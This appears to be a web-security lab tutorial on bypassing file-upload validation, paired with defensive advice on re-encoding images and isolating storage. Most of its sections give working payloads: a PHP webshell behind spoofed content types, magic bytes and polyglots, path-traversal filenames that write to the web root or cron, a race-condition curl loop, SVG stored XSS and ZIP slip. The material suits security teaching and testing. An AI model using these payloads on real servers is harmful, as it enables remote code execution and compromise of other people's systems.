Quick answer
File upload is vulnerable when the server accepts files without properly validating their content and serves them from a path where they execute. Direct RCE if you upload a webshell to a web directory served by the engine (PHP, ASP, JSP). The bypasses focus on: incomplete extension list, trusted content-type, spoofable magic bytes, double extension, null bytes, path traversal in the filename, and race conditions in sequential validators.
The defense tree
A "secure" upload endpoint should validate:
- Extension of the file (whitelist of allowed extensions).
- Content-Type (declared in multipart).
- Magic bytes of the real content.
- Maximum size.
- Filename sanitization (no path traversal, no null bytes).
- Non-executable storage path (don't serve from the web root).
- Filename randomization (don't allow client-supplied names).
If ANY of these fails, there's a vector. Most apps fail at least 2-3.
10 practical bypasses
1. Incomplete blacklist
If they block .php but not:
shell.phtml → ejecuta PHP en Apache con default config
shell.phar → archivo PHP
shell.pht → ejecuta como PHP
shell.php3 / .php4 / .php5 / .php7
shell.pHp → case sensitive en algunos
shell.php.png → con ApacheDoubleExt habilitado
2. Double extension
When Apache is configured with AddHandler application/x-httpd-php .php:
shell.php.png → si Apache reconoce .php en cualquier punto del filename, ejecuta
shell.phar.png
3. Null byte (legacy apps)
shell.php%00.png → en parsers que usan funciones C, %00 corta el string
shell.php\x00.jpg
PHP < 5.3.4 vulnerable. Still seen on unpatched systems.
4. Content-Type spoof
The client declares the Content-Type in multipart. If the server only trusts that:
Content-Disposition: form-data; name="file"; filename="shell.php"
Content-Type: image/png
<?php system($_GET['cmd']); ?>
If it only validates Content-Type: image/*, it passes.
5. Magic bytes spoof
If it validates with the PNG magic bytes (\x89PNG):
\x89PNG\r\n\x1a\n<?php system($_GET['cmd']); ?>
Some parsers only look at the first 8 bytes. The rest is interpreted as PHP when executed as such.
GIF is also common:
GIF89a;
<?php system($_GET['cmd']); ?>
6. Polyglot files
Files valid in two formats. E.g., PHP+JPG valid for libimage but also executable as PHP:
# Crear polyglot
exiftool -Comment="<?php system(\$_GET['cmd']); ?>" image.jpg
mv image.jpg shell.php # luego renombrar si extension permite
7. Path traversal in the filename
If the filename is written to a path:
filename = "../../../../var/www/html/shell.php"
filename = "../../etc/cron.d/exec"
filename = "..%2f..%2f..%2fvar%2fwww%2fhtml%2fshell.php"
Writes to an arbitrary directory.
8. Race condition between upload and validation
Some endpoints:
- Save the file.
- Scan it (antivirus, content check).
- If it fails, delete it.
If the file is HTTP-serviceable between step 1 and step 3, access it in that window:
# Subir + acceder en bucle hasta que esté
while true; do curl https://target.tld/uploads/shell.php; done
9. SVG with script (uploaded as an image)
SVG is XML. It allows <script> or <iframe> that execute in the context of the domain serving the image:
<?xml version="1.0"?>
<svg xmlns="http://www.w3.org/2000/svg">
<script>alert(document.domain)</script>
</svg>
If the app serves SVG without sanitizing and it's loaded on a page of its own domain (avatar, logo) → Stored XSS.
10. ZIP slip / archive extraction
If the upload is a ZIP extracted server-side:
zip con archivo "../../../../etc/cron.d/exec"
Without validation, it writes to an arbitrary filesystem location on extraction.
Magic bytes validation — the correct pattern
def validate_image(file_bytes):
# Extender lista de magics esperados
magics = {
'png': b'\x89PNG\r\n\x1a\n',
'jpeg': b'\xff\xd8\xff',
'gif': b'GIF89a',
}
# Identificar tipo real
for fmt, magic in magics.items():
if file_bytes.startswith(magic):
# Re-encode con librería confiable para descartar payloads embebidos
from PIL import Image
from io import BytesIO
img = Image.open(BytesIO(file_bytes))
img.verify()
# Re-save (esto destruye payloads PHP embebidos)
output = BytesIO()
img.save(output, format=fmt.upper())
return output.getvalue()
raise ValueError("Not a valid image")
The key trick: re-encode the image after validating. That destroys any weird payload embedded between the magic byte and the end.
Other possible impacts (not just RCE)
- Stored XSS via SVG/HTML upload served on the same domain.
- Account takeover if the avatar is served in an
<img>and allows XSS → steals the session. - DoS via massive files / ZIP bomb.
- Phishing if the domain serves PDFs mistaken for originals.
- CSRF storage if the file is served as HTML+CSRF token.
Storage path, done correctly
Modern apps usually:
- Upload to an S3/GCS bucket (not on the web server's filesystem).
- Serve via a CDN with a separate domain (
cdn.target.tldwith limited headers). - Force
Content-Disposition: attachmentfor downloads (prevents inline execution).
Any deviation from this = likely vector.
Hunting checklist
- Does the endpoint validate only extension, only content-type, or both?
- Try
.php,.phtml,.phar,.pht,.php5, mixed case? - Double extension
.php.png? (Misconfigured Apache). - Spoofable magic bytes? Upload a valid PNG + PHP payload at the end.
- Is SVG accepted? Try an embedded
<script>. - Path traversal in the filename?
../../shell.php. - Is the client's filename respected or randomized?
- Is the storage path served by the web server with execution?
- Race condition between upload and antivirus/scan?
- ZIP/archive uploads without validating the extracted content?
Related labs
Practice the 10 bypasses against real apps with partial validation: File Upload labs.
Practice this in a lab
File Upload
Keep learning · free account
Save your progress, unlock advanced payloads and rank your flags.
Related articles
Headless browsers — SSRF and RCE in endpoints that render URLs
Endpoints that accept URLs for screenshots/PDF (Puppeteer, Playwright, wkhtmltopdf) are an SSRF goldmine: cloud metadata, file://, gopher://, JS injection with XSS-to-RCE in the chromium sandbox.
SQL Injection — complete methodology with time-based, UNION and RCE
Detection via isomorphic queries, time-based payloads for 4 engines, escalation to RCE (xp_cmdshell, INTO OUTFILE, UDFs) and cross-field bypasses.
RCE in a Python sandbox — from the bot editor to the server shell
An AI platform's Python sandbox didn't block os.popen(). Two lines of Python to run system commands, read environment variables and fingerprint the runtime.